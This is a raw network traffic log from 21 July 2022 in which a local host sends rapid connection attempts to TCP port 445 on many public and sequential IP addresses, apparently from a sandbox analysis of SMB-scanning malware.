Jul 21, 2022 04:37:32.486644983 CEST	60030	445	192.168.2.6	156.131.14.225
Jul 21, 2022 04:37:32.486793995 CEST	60033	445	192.168.2.6	103.93.13.111
Jul 21, 2022 04:37:32.486850977 CEST	60034	445	192.168.2.6	139.162.213.1
Jul 21, 2022 04:37:32.506607056 CEST	445	60020	185.82.22.164	192.168.2.6
Jul 21, 2022 04:37:32.870019913 CEST	59931	445	192.168.2.6	190.98.231.106
Jul 21, 2022 04:37:33.089581966 CEST	60036	445	192.168.2.6	190.98.231.107
Jul 21, 2022 04:37:33.118055105 CEST	445	59931	190.98.231.106	192.168.2.6
Jul 21, 2022 04:37:33.182581902 CEST	60020	445	192.168.2.6	185.82.22.164
Jul 21, 2022 04:37:33.203253031 CEST	445	60020	185.82.22.164	192.168.2.6
Jul 21, 2022 04:37:33.319084883 CEST	445	60036	190.98.231.107	192.168.2.6
Jul 21, 2022 04:37:33.592309952 CEST	60039	445	192.168.2.6	155.106.59.229
Jul 21, 2022 04:37:33.592494965 CEST	60042	445	192.168.2.6	41.206.129.175
Jul 21, 2022 04:37:33.592622042 CEST	60044	445	192.168.2.6	192.137.207.68
Jul 21, 2022 04:37:33.592693090 CEST	60045	445	192.168.2.6	148.47.233.188
Jul 21, 2022 04:37:33.593486071 CEST	60048	445	192.168.2.6	51.7.35.40
Jul 21, 2022 04:37:33.593487024 CEST	60049	445	192.168.2.6	11.217.102.38
Jul 21, 2022 04:37:33.608338118 CEST	60066	445	192.168.2.6	18.235.131.117
Jul 21, 2022 04:37:33.669501066 CEST	60087	445	192.168.2.6	52.122.153.249
Jul 21, 2022 04:37:33.669625998 CEST	60088	445	192.168.2.6	170.185.233.129
Jul 21, 2022 04:37:33.669673920 CEST	60089	445	192.168.2.6	136.126.81.212
Jul 21, 2022 04:37:33.669795990 CEST	60091	445	192.168.2.6	135.114.6.2
Jul 21, 2022 04:37:33.670039892 CEST	60095	445	192.168.2.6	179.250.35.12
Jul 21, 2022 04:37:33.670082092 CEST	60096	445	192.168.2.6	101.249.56.187
Jul 21, 2022 04:37:33.670331001 CEST	60101	445	192.168.2.6	79.101.47.72
Jul 21, 2022 04:37:33.670723915 CEST	60110	445	192.168.2.6	71.187.250.53
Jul 21, 2022 04:37:33.670783997 CEST	60111	445	192.168.2.6	218.220.225.115
Jul 21, 2022 04:37:33.671010971 CEST	60116	445	192.168.2.6	184.95.127.81
Jul 21, 2022 04:37:33.671205997 CEST	60121	445	192.168.2.6	74.65.207.128
Jul 21, 2022 04:37:33.671421051 CEST	60125	445	192.168.2.6	117.65.38.183
Jul 21, 2022 04:37:33.671540976 CEST	60127	445	192.168.2.6	100.44.111.58
Jul 21, 2022 04:37:33.671648026 CEST	60129	445	192.168.2.6	137.38.125.95
Jul 21, 2022 04:37:33.671717882 CEST	60130	445	192.168.2.6	211.235.254.43
Jul 21, 2022 04:37:33.671799898 CEST	60131	445	192.168.2.6	87.205.187.99
Jul 21, 2022 04:37:33.671848059 CEST	60123	445	192.168.2.6	124.238.0.63
Jul 21, 2022 04:37:33.671873093 CEST	60132	445	192.168.2.6	41.112.52.142
Jul 21, 2022 04:37:33.671940088 CEST	60133	445	192.168.2.6	106.202.67.134
Jul 21, 2022 04:37:33.672013044 CEST	60134	445	192.168.2.6	33.110.8.12
Jul 21, 2022 04:37:33.672101021 CEST	60135	445	192.168.2.6	143.88.33.172
Jul 21, 2022 04:37:33.672275066 CEST	60139	445	192.168.2.6	101.23.33.176
Jul 21, 2022 04:37:33.799520969 CEST	445	60116	184.95.127.81	192.168.2.6
Jul 21, 2022 04:37:33.799678087 CEST	60116	445	192.168.2.6	184.95.127.81
Jul 21, 2022 04:37:33.800504923 CEST	60140	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:33.932359934 CEST	445	60140	184.95.127.1	192.168.2.6
Jul 21, 2022 04:37:33.932585955 CEST	60140	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:33.939862967 CEST	60141	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:33.979512930 CEST	60036	445	192.168.2.6	190.98.231.107
Jul 21, 2022 04:37:34.068820000 CEST	445	60141	184.95.127.1	192.168.2.6
Jul 21, 2022 04:37:34.068984032 CEST	60141	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:34.152374983 CEST	60143	445	192.168.2.6	190.98.231.108
Jul 21, 2022 04:37:34.210843086 CEST	445	60036	190.98.231.107	192.168.2.6
Jul 21, 2022 04:37:34.276453018 CEST	60116	445	192.168.2.6	184.95.127.81
Jul 21, 2022 04:37:34.365586042 CEST	60140	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:34.378884077 CEST	445	60143	190.98.231.108	192.168.2.6
Jul 21, 2022 04:37:34.479475021 CEST	60141	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:34.480607986 CEST	60144	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:37:34.504312038 CEST	445	60144	207.180.242.117	192.168.2.6
Jul 21, 2022 04:37:34.504455090 CEST	60144	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:37:34.504650116 CEST	60144	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:37:34.528991938 CEST	445	60144	207.180.242.117	192.168.2.6
Jul 21, 2022 04:37:34.529268026 CEST	60144	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:37:34.554578066 CEST	445	60144	207.180.242.117	192.168.2.6
Jul 21, 2022 04:37:34.554955006 CEST	60144	445	192.168.2.6	207.180.242.117
Jul 21, 2022 04:37:34.577706099 CEST	445	60144	207.180.242.117	192.168.2.6
Jul 21, 2022 04:37:34.658576012 CEST	60145	445	192.168.2.6	207.180.242.118
Jul 21, 2022 04:37:34.667120934 CEST	58566	445	192.168.2.6	77.129.24.2
Jul 21, 2022 04:37:34.667162895 CEST	60116	445	192.168.2.6	184.95.127.81
Jul 21, 2022 04:37:34.683821917 CEST	445	60145	207.180.242.118	192.168.2.6
Jul 21, 2022 04:37:34.701076031 CEST	60148	445	192.168.2.6	205.147.187.145
Jul 21, 2022 04:37:34.702881098 CEST	60151	445	192.168.2.6	111.123.104.192
Jul 21, 2022 04:37:34.704221010 CEST	60153	445	192.168.2.6	44.193.86.165
Jul 21, 2022 04:37:34.704911947 CEST	60154	445	192.168.2.6	167.82.115.195
Jul 21, 2022 04:37:34.706903934 CEST	60157	445	192.168.2.6	210.75.37.241
Jul 21, 2022 04:37:34.707570076 CEST	60158	445	192.168.2.6	136.32.207.14
Jul 21, 2022 04:37:34.731851101 CEST	60176	445	192.168.2.6	165.229.235.113
Jul 21, 2022 04:37:34.734127998 CEST	60181	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:34.764715910 CEST	445	60181	77.129.24.3	192.168.2.6
Jul 21, 2022 04:37:34.764940977 CEST	60181	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:34.765116930 CEST	60181	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:34.767532110 CEST	60183	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:34.776513100 CEST	60140	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:34.777576923 CEST	60184	445	192.168.2.6	68.31.201.94
Jul 21, 2022 04:37:34.778059959 CEST	60185	445	192.168.2.6	124.59.217.182
Jul 21, 2022 04:37:34.779304981 CEST	60187	445	192.168.2.6	12.40.245.131
Jul 21, 2022 04:37:34.780515909 CEST	60189	445	192.168.2.6	195.247.101.132
Jul 21, 2022 04:37:34.781759024 CEST	60191	445	192.168.2.6	72.24.183.35
Jul 21, 2022 04:37:34.783010960 CEST	60193	445	192.168.2.6	157.167.100.27
Jul 21, 2022 04:37:34.788167000 CEST	60202	445	192.168.2.6	116.230.164.20
Jul 21, 2022 04:37:34.788779020 CEST	60203	445	192.168.2.6	154.48.115.122
Jul 21, 2022 04:37:34.794020891 CEST	60212	445	192.168.2.6	188.248.169.138
Jul 21, 2022 04:37:34.796369076 CEST	60217	445	192.168.2.6	189.172.146.81
Jul 21, 2022 04:37:34.796933889 CEST	60218	445	192.168.2.6	111.56.185.178
Jul 21, 2022 04:37:34.797925949 CEST	445	60183	77.129.24.3	192.168.2.6
Jul 21, 2022 04:37:34.798086882 CEST	60183	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:34.798243999 CEST	60183	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:34.799818993 CEST	60222	445	192.168.2.6	8.101.3.104
Jul 21, 2022 04:37:34.801141024 CEST	60224	445	192.168.2.6	61.97.55.101
Jul 21, 2022 04:37:34.801767111 CEST	60225	445	192.168.2.6	99.47.227.3
Jul 21, 2022 04:37:34.802402020 CEST	60226	445	192.168.2.6	117.8.58.232
Jul 21, 2022 04:37:34.811963081 CEST	60241	445	192.168.2.6	220.110.37.38
Jul 21, 2022 04:37:34.812609911 CEST	60242	445	192.168.2.6	31.176.44.118
Jul 21, 2022 04:37:34.813232899 CEST	60243	445	192.168.2.6	109.162.49.62
Jul 21, 2022 04:37:34.813882113 CEST	60244	445	192.168.2.6	171.79.205.106
Jul 21, 2022 04:37:34.840184927 CEST	60248	445	192.168.2.6	8.71.119.18
Jul 21, 2022 04:37:34.840634108 CEST	60249	445	192.168.2.6	54.75.233.190
Jul 21, 2022 04:37:34.885873079 CEST	60143	445	192.168.2.6	190.98.231.108
Jul 21, 2022 04:37:34.974823952 CEST	445	60217	189.172.146.81	192.168.2.6
Jul 21, 2022 04:37:34.975017071 CEST	60217	445	192.168.2.6	189.172.146.81
Jul 21, 2022 04:37:34.975220919 CEST	60217	445	192.168.2.6	189.172.146.81
Jul 21, 2022 04:37:34.975800037 CEST	60250	445	192.168.2.6	189.172.146.1
Jul 21, 2022 04:37:34.979554892 CEST	60141	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:35.073318958 CEST	60181	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:35.073350906 CEST	60183	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:35.114320993 CEST	445	60143	190.98.231.108	192.168.2.6
Jul 21, 2022 04:37:35.159178019 CEST	445	60217	189.172.146.81	192.168.2.6
Jul 21, 2022 04:37:35.161689043 CEST	445	60217	189.172.146.81	192.168.2.6
Jul 21, 2022 04:37:35.161806107 CEST	60217	445	192.168.2.6	189.172.146.81
Jul 21, 2022 04:37:35.198349953 CEST	60145	445	192.168.2.6	207.180.242.118
Jul 21, 2022 04:37:35.221555948 CEST	445	60145	207.180.242.118	192.168.2.6
Jul 21, 2022 04:37:35.231512070 CEST	60253	445	192.168.2.6	190.98.231.109
Jul 21, 2022 04:37:35.385971069 CEST	60183	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:35.448434114 CEST	60116	445	192.168.2.6	184.95.127.81
Jul 21, 2022 04:37:35.488255978 CEST	445	60253	190.98.231.109	192.168.2.6
Jul 21, 2022 04:37:35.588980913 CEST	60140	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:35.682771921 CEST	60181	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:35.730717897 CEST	60254	445	192.168.2.6	207.180.242.119
Jul 21, 2022 04:37:35.776534081 CEST	60141	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:35.825712919 CEST	60257	445	192.168.2.6	83.7.140.224
Jul 21, 2022 04:37:35.853019953 CEST	60260	445	192.168.2.6	98.112.157.75
Jul 21, 2022 04:37:35.853089094 CEST	60262	445	192.168.2.6	128.28.18.21
Jul 21, 2022 04:37:35.853102922 CEST	60263	445	192.168.2.6	30.131.248.159
Jul 21, 2022 04:37:35.853234053 CEST	60266	445	192.168.2.6	106.61.246.209
Jul 21, 2022 04:37:35.853292942 CEST	60268	445	192.168.2.6	69.218.176.72
Jul 21, 2022 04:37:35.866010904 CEST	60287	445	192.168.2.6	142.196.40.8
Jul 21, 2022 04:37:35.917815924 CEST	60292	445	192.168.2.6	35.206.156.219
Jul 21, 2022 04:37:35.917957067 CEST	60294	445	192.168.2.6	134.32.155.173
Jul 21, 2022 04:37:35.918056965 CEST	60296	445	192.168.2.6	110.100.96.171
Jul 21, 2022 04:37:35.918359995 CEST	60305	445	192.168.2.6	154.151.155.54
Jul 21, 2022 04:37:35.919972897 CEST	60306	445	192.168.2.6	92.206.216.66
Jul 21, 2022 04:37:35.932324886 CEST	60319	445	192.168.2.6	2.21.35.204
Jul 21, 2022 04:37:35.932416916 CEST	60322	445	192.168.2.6	204.189.70.241
Jul 21, 2022 04:37:35.932456970 CEST	60321	445	192.168.2.6	154.155.55.247
Jul 21, 2022 04:37:35.932645082 CEST	60324	445	192.168.2.6	219.134.220.206
Jul 21, 2022 04:37:35.932662964 CEST	60328	445	192.168.2.6	71.84.94.74
Jul 21, 2022 04:37:35.933093071 CEST	60333	445	192.168.2.6	7.233.182.183
Jul 21, 2022 04:37:35.933219910 CEST	60338	445	192.168.2.6	181.174.24.177
Jul 21, 2022 04:37:35.933237076 CEST	60337	445	192.168.2.6	25.152.22.36
Jul 21, 2022 04:37:35.933332920 CEST	60340	445	192.168.2.6	55.218.216.153
Jul 21, 2022 04:37:35.951996088 CEST	60345	445	192.168.2.6	170.29.3.109
Jul 21, 2022 04:37:35.952311993 CEST	60348	445	192.168.2.6	16.207.1.160
Jul 21, 2022 04:37:35.952626944 CEST	60349	445	192.168.2.6	46.134.77.10
Jul 21, 2022 04:37:35.952712059 CEST	60352	445	192.168.2.6	182.40.31.212
Jul 21, 2022 04:37:35.965162039 CEST	60354	445	192.168.2.6	80.39.21.112
Jul 21, 2022 04:37:35.966221094 CEST	60355	445	192.168.2.6	205.156.203.239
Jul 21, 2022 04:37:35.995301008 CEST	60183	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:35.995328903 CEST	60253	445	192.168.2.6	190.98.231.109
Jul 21, 2022 04:37:36.043526888 CEST	60356	445	192.168.2.6	189.172.146.2
Jul 21, 2022 04:37:36.121603966 CEST	445	60338	181.174.24.177	192.168.2.6
Jul 21, 2022 04:37:36.247546911 CEST	445	60253	190.98.231.109	192.168.2.6
Jul 21, 2022 04:37:36.309330940 CEST	60358	445	192.168.2.6	190.98.231.110
Jul 21, 2022 04:37:36.540445089 CEST	445	60358	190.98.231.110	192.168.2.6
Jul 21, 2022 04:37:36.635941982 CEST	60338	445	192.168.2.6	181.174.24.177
Jul 21, 2022 04:37:36.793021917 CEST	60360	445	192.168.2.6	207.180.242.120
Jul 21, 2022 04:37:36.813779116 CEST	445	60360	207.180.242.120	192.168.2.6
Jul 21, 2022 04:37:36.813903093 CEST	60360	445	192.168.2.6	207.180.242.120
Jul 21, 2022 04:37:36.814109087 CEST	60360	445	192.168.2.6	207.180.242.120
Jul 21, 2022 04:37:36.816283941 CEST	60361	445	192.168.2.6	207.180.242.120
Jul 21, 2022 04:37:36.826069117 CEST	445	60338	181.174.24.177	192.168.2.6
Jul 21, 2022 04:37:36.834620953 CEST	445	60360	207.180.242.120	192.168.2.6
Jul 21, 2022 04:37:36.834650993 CEST	445	60360	207.180.242.120	192.168.2.6
Jul 21, 2022 04:37:36.837018967 CEST	445	60361	207.180.242.120	192.168.2.6
Jul 21, 2022 04:37:36.837153912 CEST	60361	445	192.168.2.6	207.180.242.120
Jul 21, 2022 04:37:36.837394953 CEST	60361	445	192.168.2.6	207.180.242.120
Jul 21, 2022 04:37:36.858083963 CEST	445	60361	207.180.242.120	192.168.2.6
Jul 21, 2022 04:37:36.886055946 CEST	60181	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:36.950035095 CEST	60364	445	192.168.2.6	45.46.138.12
Jul 21, 2022 04:37:36.988373995 CEST	60382	445	192.168.2.6	193.150.115.67
Jul 21, 2022 04:37:36.988512039 CEST	60387	445	192.168.2.6	73.242.224.29
Jul 21, 2022 04:37:36.988555908 CEST	60388	445	192.168.2.6	212.70.76.63
Jul 21, 2022 04:37:36.988698959 CEST	60392	445	192.168.2.6	94.54.200.201
Jul 21, 2022 04:37:36.988764048 CEST	60393	445	192.168.2.6	125.206.246.97
Jul 21, 2022 04:37:36.988840103 CEST	60395	445	192.168.2.6	145.174.61.238
Jul 21, 2022 04:37:37.011029005 CEST	60116	445	192.168.2.6	184.95.127.81
Jul 21, 2022 04:37:37.042154074 CEST	445	60382	193.150.115.67	192.168.2.6
Jul 21, 2022 04:37:37.042377949 CEST	60358	445	192.168.2.6	190.98.231.110
Jul 21, 2022 04:37:37.064070940 CEST	60404	445	192.168.2.6	8.201.181.253
Jul 21, 2022 04:37:37.064249992 CEST	60407	445	192.168.2.6	107.123.178.59
Jul 21, 2022 04:37:37.064304113 CEST	60408	445	192.168.2.6	165.101.194.236
Jul 21, 2022 04:37:37.064357996 CEST	60409	445	192.168.2.6	137.183.202.173
Jul 21, 2022 04:37:37.064558983 CEST	60415	445	192.168.2.6	147.21.201.116
Jul 21, 2022 04:37:37.064670086 CEST	60418	445	192.168.2.6	66.227.168.28
Jul 21, 2022 04:37:37.064774990 CEST	60421	445	192.168.2.6	22.198.171.97
Jul 21, 2022 04:37:37.064872980 CEST	60423	445	192.168.2.6	208.18.254.51
Jul 21, 2022 04:37:37.064960003 CEST	60426	445	192.168.2.6	141.101.14.59
Jul 21, 2022 04:37:37.065088987 CEST	60430	445	192.168.2.6	128.53.60.103
Jul 21, 2022 04:37:37.065160990 CEST	60432	445	192.168.2.6	56.134.97.154
Jul 21, 2022 04:37:37.065409899 CEST	60440	445	192.168.2.6	204.62.165.249
Jul 21, 2022 04:37:37.065469980 CEST	60442	445	192.168.2.6	54.23.4.20
Jul 21, 2022 04:37:37.065568924 CEST	60444	445	192.168.2.6	171.87.78.10
Jul 21, 2022 04:37:37.074896097 CEST	60450	445	192.168.2.6	207.234.236.188
Jul 21, 2022 04:37:37.076289892 CEST	60453	445	192.168.2.6	134.93.57.75
Jul 21, 2022 04:37:37.109764099 CEST	60456	445	192.168.2.6	184.101.132.86
Jul 21, 2022 04:37:37.109859943 CEST	60461	445	192.168.2.6	190.187.128.146
Jul 21, 2022 04:37:37.110388994 CEST	60462	445	192.168.2.6	93.93.228.143
Jul 21, 2022 04:37:37.110392094 CEST	60463	445	192.168.2.6	145.214.49.197
Jul 21, 2022 04:37:37.120906115 CEST	60464	445	192.168.2.6	189.172.146.3
Jul 21, 2022 04:37:37.198493958 CEST	60183	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:37.214148998 CEST	60140	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:37.267543077 CEST	445	60358	190.98.231.110	192.168.2.6
Jul 21, 2022 04:37:37.354846001 CEST	60141	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:37.371371984 CEST	60466	445	192.168.2.6	190.98.231.111
Jul 21, 2022 04:37:37.543086052 CEST	60382	445	192.168.2.6	193.150.115.67
Jul 21, 2022 04:37:37.599435091 CEST	445	60382	193.150.115.67	192.168.2.6
Jul 21, 2022 04:37:37.624382973 CEST	445	60466	190.98.231.111	192.168.2.6
Jul 21, 2022 04:37:38.060539007 CEST	60469	445	192.168.2.6	133.52.86.236
Jul 21, 2022 04:37:38.110367060 CEST	60487	445	192.168.2.6	95.30.95.160
Jul 21, 2022 04:37:38.110424995 CEST	60492	445	192.168.2.6	173.168.7.94
Jul 21, 2022 04:37:38.110515118 CEST	60494	445	192.168.2.6	62.52.29.76
Jul 21, 2022 04:37:38.110591888 CEST	60497	445	192.168.2.6	189.105.235.64
Jul 21, 2022 04:37:38.110660076 CEST	60499	445	192.168.2.6	178.220.95.105
Jul 21, 2022 04:37:38.112219095 CEST	60500	445	192.168.2.6	114.98.244.118
Jul 21, 2022 04:37:38.136204958 CEST	60466	445	192.168.2.6	190.98.231.111
Jul 21, 2022 04:37:38.169900894 CEST	60513	445	192.168.2.6	84.215.65.228
Jul 21, 2022 04:37:38.170835972 CEST	60515	445	192.168.2.6	171.79.162.16
Jul 21, 2022 04:37:38.171762943 CEST	60517	445	192.168.2.6	181.52.138.140
Jul 21, 2022 04:37:38.175652027 CEST	60525	445	192.168.2.6	199.159.49.52
Jul 21, 2022 04:37:38.176588058 CEST	60527	445	192.168.2.6	185.112.113.239
Jul 21, 2022 04:37:38.178359985 CEST	60531	445	192.168.2.6	172.151.16.210
Jul 21, 2022 04:37:38.179708004 CEST	60534	445	192.168.2.6	156.114.45.148
Jul 21, 2022 04:37:38.180603981 CEST	60536	445	192.168.2.6	169.157.107.93
Jul 21, 2022 04:37:38.182003021 CEST	60539	445	192.168.2.6	175.110.251.222
Jul 21, 2022 04:37:38.184146881 CEST	60542	445	192.168.2.6	41.117.9.100
Jul 21, 2022 04:37:38.187756062 CEST	60548	445	192.168.2.6	172.142.235.39
Jul 21, 2022 04:37:38.188442945 CEST	60549	445	192.168.2.6	112.179.33.196
Jul 21, 2022 04:37:38.189064980 CEST	60550	445	192.168.2.6	146.117.196.28
Jul 21, 2022 04:37:38.190987110 CEST	60553	445	192.168.2.6	60.220.190.74
Jul 21, 2022 04:37:38.199490070 CEST	60555	445	192.168.2.6	189.172.146.4
Jul 21, 2022 04:37:38.199959040 CEST	60556	445	192.168.2.6	86.182.138.51
Jul 21, 2022 04:37:38.216221094 CEST	60559	445	192.168.2.6	68.33.231.4
Jul 21, 2022 04:37:38.233242035 CEST	60561	445	192.168.2.6	188.184.82.162
Jul 21, 2022 04:37:38.233319998 CEST	60563	445	192.168.2.6	104.116.50.64
Jul 21, 2022 04:37:38.233355045 CEST	60562	445	192.168.2.6	65.45.111.246
Jul 21, 2022 04:37:38.233409882 CEST	60565	445	192.168.2.6	185.192.108.127
Jul 21, 2022 04:37:38.386234999 CEST	445	60466	190.98.231.111	192.168.2.6
Jul 21, 2022 04:37:38.401822090 CEST	60183	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:38.449274063 CEST	60572	445	192.168.2.6	190.98.231.112
Jul 21, 2022 04:37:38.673156023 CEST	445	60572	190.98.231.112	192.168.2.6
Jul 21, 2022 04:37:39.183264971 CEST	60572	445	192.168.2.6	190.98.231.112
Jul 21, 2022 04:37:39.189701080 CEST	60576	445	192.168.2.6	41.125.3.65
Jul 21, 2022 04:37:39.259635925 CEST	60592	445	192.168.2.6	119.110.30.24
Jul 21, 2022 04:37:39.259689093 CEST	60593	445	192.168.2.6	15.60.134.125
Jul 21, 2022 04:37:39.259819031 CEST	60594	445	192.168.2.6	59.142.27.116
Jul 21, 2022 04:37:39.259936094 CEST	60596	445	192.168.2.6	205.49.178.86
Jul 21, 2022 04:37:39.260147095 CEST	60601	445	192.168.2.6	37.186.218.220
Jul 21, 2022 04:37:39.279563904 CEST	60617	445	192.168.2.6	97.214.222.25
Jul 21, 2022 04:37:39.280495882 CEST	60619	445	192.168.2.6	123.40.42.213
Jul 21, 2022 04:37:39.282672882 CEST	60621	445	192.168.2.6	219.174.77.223
Jul 21, 2022 04:37:39.292402983 CEST	60181	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:39.307457924 CEST	60630	445	192.168.2.6	31.104.19.42
Jul 21, 2022 04:37:39.307457924 CEST	60629	445	192.168.2.6	133.7.129.210
Jul 21, 2022 04:37:39.307662964 CEST	60636	445	192.168.2.6	120.160.121.204
Jul 21, 2022 04:37:39.307722092 CEST	60639	445	192.168.2.6	148.184.185.230
Jul 21, 2022 04:37:39.307771921 CEST	60640	445	192.168.2.6	40.145.199.143
Jul 21, 2022 04:37:39.307837009 CEST	60643	445	192.168.2.6	2.112.63.173
Jul 21, 2022 04:37:39.307887077 CEST	60645	445	192.168.2.6	189.172.146.5
Jul 21, 2022 04:37:39.308547020 CEST	60650	445	192.168.2.6	196.42.18.65
Jul 21, 2022 04:37:39.308634996 CEST	60657	445	192.168.2.6	173.120.94.193
Jul 21, 2022 04:37:39.308686018 CEST	60658	445	192.168.2.6	202.90.231.236
Jul 21, 2022 04:37:39.308690071 CEST	60656	445	192.168.2.6	16.178.127.108
Jul 21, 2022 04:37:39.308800936 CEST	60661	445	192.168.2.6	13.119.47.236
Jul 21, 2022 04:37:39.324821949 CEST	60663	445	192.168.2.6	48.209.226.37
Jul 21, 2022 04:37:39.340886116 CEST	60666	445	192.168.2.6	220.137.236.180
Jul 21, 2022 04:37:39.358658075 CEST	60672	445	192.168.2.6	21.194.247.206
Jul 21, 2022 04:37:39.360609055 CEST	60675	445	192.168.2.6	31.249.223.3
Jul 21, 2022 04:37:39.361278057 CEST	60676	445	192.168.2.6	61.71.42.210
Jul 21, 2022 04:37:39.361917019 CEST	60677	445	192.168.2.6	33.57.244.18
Jul 21, 2022 04:37:39.408198118 CEST	445	60572	190.98.231.112	192.168.2.6
Jul 21, 2022 04:37:39.527595997 CEST	60679	445	192.168.2.6	190.98.231.113
Jul 21, 2022 04:37:39.605132103 CEST	60183	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:39.782819033 CEST	445	60679	190.98.231.113	192.168.2.6
Jul 21, 2022 04:37:39.871507883 CEST	60681	445	192.168.2.6	207.180.242.120
Jul 21, 2022 04:37:39.892431974 CEST	445	60681	207.180.242.120	192.168.2.6
Jul 21, 2022 04:37:39.892673016 CEST	60681	445	192.168.2.6	207.180.242.120
Jul 21, 2022 04:37:39.892868996 CEST	60681	445	192.168.2.6	207.180.242.120
Jul 21, 2022 04:37:39.915359020 CEST	445	60681	207.180.242.120	192.168.2.6
Jul 21, 2022 04:37:39.981369019 CEST	60682	445	192.168.2.6	207.180.242.121
Jul 21, 2022 04:37:40.120630026 CEST	60116	445	192.168.2.6	184.95.127.81
Jul 21, 2022 04:37:40.292555094 CEST	60679	445	192.168.2.6	190.98.231.113
Jul 21, 2022 04:37:40.338658094 CEST	60694	445	192.168.2.6	212.135.227.136
Jul 21, 2022 04:37:40.372319937 CEST	60696	445	192.168.2.6	189.172.146.6
Jul 21, 2022 04:37:40.374284983 CEST	60700	445	192.168.2.6	148.243.39.169
Jul 21, 2022 04:37:40.374744892 CEST	60701	445	192.168.2.6	219.222.43.187
Jul 21, 2022 04:37:40.375202894 CEST	60702	445	192.168.2.6	25.183.35.163
Jul 21, 2022 04:37:40.389755964 CEST	60704	445	192.168.2.6	44.120.89.245
Jul 21, 2022 04:37:40.389930010 CEST	60708	445	192.168.2.6	51.129.15.11
Jul 21, 2022 04:37:40.389986038 CEST	60709	445	192.168.2.6	137.204.205.14
Jul 21, 2022 04:37:40.396215916 CEST	60724	445	192.168.2.6	59.179.33.75
Jul 21, 2022 04:37:40.396364927 CEST	60726	445	192.168.2.6	103.45.146.179
Jul 21, 2022 04:37:40.396509886 CEST	60728	445	192.168.2.6	183.171.9.30
Jul 21, 2022 04:37:40.452131987 CEST	60740	445	192.168.2.6	28.225.230.5
Jul 21, 2022 04:37:40.452152967 CEST	60739	445	192.168.2.6	53.69.0.22
Jul 21, 2022 04:37:40.452506065 CEST	60749	445	192.168.2.6	96.253.104.32
Jul 21, 2022 04:37:40.452522039 CEST	60750	445	192.168.2.6	1.82.69.15
Jul 21, 2022 04:37:40.452584982 CEST	60751	445	192.168.2.6	75.29.236.218
Jul 21, 2022 04:37:40.452677965 CEST	60753	445	192.168.2.6	109.112.77.77
Jul 21, 2022 04:37:40.452852964 CEST	60759	445	192.168.2.6	137.143.146.220
Jul 21, 2022 04:37:40.453036070 CEST	60765	445	192.168.2.6	102.197.4.171
Jul 21, 2022 04:37:40.453054905 CEST	60766	445	192.168.2.6	216.17.171.68
Jul 21, 2022 04:37:40.453139067 CEST	60767	445	192.168.2.6	109.38.118.26
Jul 21, 2022 04:37:40.453239918 CEST	60771	445	192.168.2.6	57.72.236.219
Jul 21, 2022 04:37:40.453327894 CEST	60772	445	192.168.2.6	164.132.102.116
Jul 21, 2022 04:37:40.464443922 CEST	60140	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:40.467250109 CEST	60776	445	192.168.2.6	163.42.57.36
Jul 21, 2022 04:37:40.483990908 CEST	60781	445	192.168.2.6	21.25.251.18
Jul 21, 2022 04:37:40.484872103 CEST	60782	445	192.168.2.6	213.65.223.12
Jul 21, 2022 04:37:40.485563040 CEST	60783	445	192.168.2.6	29.155.113.72
Jul 21, 2022 04:37:40.487701893 CEST	60786	445	192.168.2.6	186.134.253.236
Jul 21, 2022 04:37:40.513356924 CEST	60141	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:40.543996096 CEST	445	60679	190.98.231.113	192.168.2.6
Jul 21, 2022 04:37:40.590193033 CEST	60787	445	192.168.2.6	190.98.231.114
Jul 21, 2022 04:37:40.839472055 CEST	445	60787	190.98.231.114	192.168.2.6
Jul 21, 2022 04:37:41.072016954 CEST	60790	445	192.168.2.6	207.180.242.122
Jul 21, 2022 04:37:41.339510918 CEST	60787	445	192.168.2.6	190.98.231.114
Jul 21, 2022 04:37:41.451471090 CEST	60798	445	192.168.2.6	189.172.146.7
Jul 21, 2022 04:37:41.452857971 CEST	60800	445	192.168.2.6	7.102.131.169
Jul 21, 2022 04:37:41.498764038 CEST	60807	445	192.168.2.6	153.80.47.194
Jul 21, 2022 04:37:41.498766899 CEST	60806	445	192.168.2.6	16.132.181.206
Jul 21, 2022 04:37:41.498845100 CEST	60809	445	192.168.2.6	4.187.50.228
Jul 21, 2022 04:37:41.522720098 CEST	60812	445	192.168.2.6	54.120.148.168
Jul 21, 2022 04:37:41.533667088 CEST	60820	445	192.168.2.6	164.37.186.100
Jul 21, 2022 04:37:41.533760071 CEST	60822	445	192.168.2.6	19.153.148.194
Jul 21, 2022 04:37:41.534287930 CEST	60832	445	192.168.2.6	62.115.26.113
Jul 21, 2022 04:37:41.534454107 CEST	60835	445	192.168.2.6	190.31.62.92
Jul 21, 2022 04:37:41.534521103 CEST	60836	445	192.168.2.6	184.67.133.28
